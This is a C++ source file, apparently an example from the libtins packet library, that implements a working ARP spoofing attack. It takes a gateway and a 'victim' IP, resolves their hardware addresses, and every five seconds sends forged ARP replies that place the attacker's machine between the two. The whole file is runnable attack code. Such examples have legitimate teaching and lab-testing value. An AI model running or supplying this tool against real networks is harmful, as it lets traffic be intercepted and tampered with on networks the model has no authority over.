mirror of
https://github.com/mfontanini/libtins
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120 lines
4.2 KiB
C++
120 lines
4.2 KiB
C++
/*
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* Copyright (c) 2012, Nasel
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* All rights reserved.
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*
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* Redistribution and use in source and binary forms, with or without
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* modification, are permitted provided that the following conditions are
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* met:
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*
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* * Redistributions of source code must retain the above copyright
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* notice, this list of conditions and the following disclaimer.
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* * Redistributions in binary form must reproduce the above
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* copyright notice, this list of conditions and the following disclaimer
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* in the documentation and/or other materials provided with the
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* distribution.
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*
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* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
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* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
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* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
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* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
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* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
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* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
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* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
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* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
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* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
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* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
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* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
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*
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*/
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#include <iostream>
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#include <string>
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#include <stdexcept>
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#include <cstdlib>
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#include <tins/arp.h>
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#include <tins/network_interface.h>
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#include <tins/utils.h>
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#include <tins/ethernetII.h>
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#include <tins/packet_sender.h>
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using namespace std;
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using namespace Tins;
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int do_arp_spoofing(NetworkInterface iface, IPv4Address gw, IPv4Address victim,
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const NetworkInterface::Info &info)
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{
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PacketSender sender;
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EthernetII::address_type gw_hw, victim_hw;
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// Resolves gateway's hardware address.
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if(!Utils::resolve_hwaddr(iface, gw, &gw_hw, sender)) {
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cout << "Could not resolve gateway's ip address.\n";
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return 5;
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}
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// Resolves victim's hardware address.
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if(!Utils::resolve_hwaddr(iface, victim, &victim_hw, sender)) {
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cout << "Could not resolve victim's ip address.\n";
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return 6;
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}
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// Print out the hw addresses we're using.
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cout << " Using gateway hw address: " << gw_hw << "\n";
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cout << " Using victim hw address: " << victim_hw << "\n";
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cout << " Using own hw address: " << info.hw_addr << "\n";
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/* We tell the gateway that the victim is at out hw address,
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* and tell the victim that the gateway is at out hw address */
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ARP *gw_arp = new ARP(gw, victim, gw_hw, info.hw_addr),
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*victim_arp = new ARP(victim, gw, victim_hw, info.hw_addr);
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// We are "replying" ARP requests
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gw_arp->opcode(ARP::REPLY);
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victim_arp->opcode(ARP::REPLY);
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/* The packet we'll send to the gateway and victim.
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* We include our hw address as the source address
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* in ethernet layer, to avoid possible packet dropping
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* performed by any routers. */
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EthernetII to_gw(iface, gw_hw, info.hw_addr, gw_arp);
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EthernetII to_victim(iface, victim_hw, info.hw_addr, victim_arp);
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while(true) {
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// Just send them once every 5 seconds.
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if(!sender.send(to_gw) || !sender.send(to_victim))
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return 7;
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sleep(5);
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}
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}
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int main(int argc, char *argv[]) {
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if(argc != 3 && cout << "Usage: " << *argv << " <Gateway> <Victim>\n")
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return 1;
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IPv4Address gw, victim;
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EthernetII::address_type own_hw;
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try {
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// Convert dotted-notation ip addresses to integer.
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gw = argv[1];
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victim = argv[2];
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}
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catch(...) {
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cout << "Invalid ip found...\n";
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return 2;
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}
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NetworkInterface iface;
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NetworkInterface::Info info;
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try {
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// Get the interface which will be the gateway for our requests.
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iface = gw;
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// Lookup the interface id. This will be required while forging packets.
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// Find the interface hardware and ip address.
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info = iface.addresses();
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}
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catch(std::runtime_error &ex) {
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cout << ex.what() << endl;
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return 3;
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}
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return do_arp_spoofing(iface, gw, victim, info);
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}
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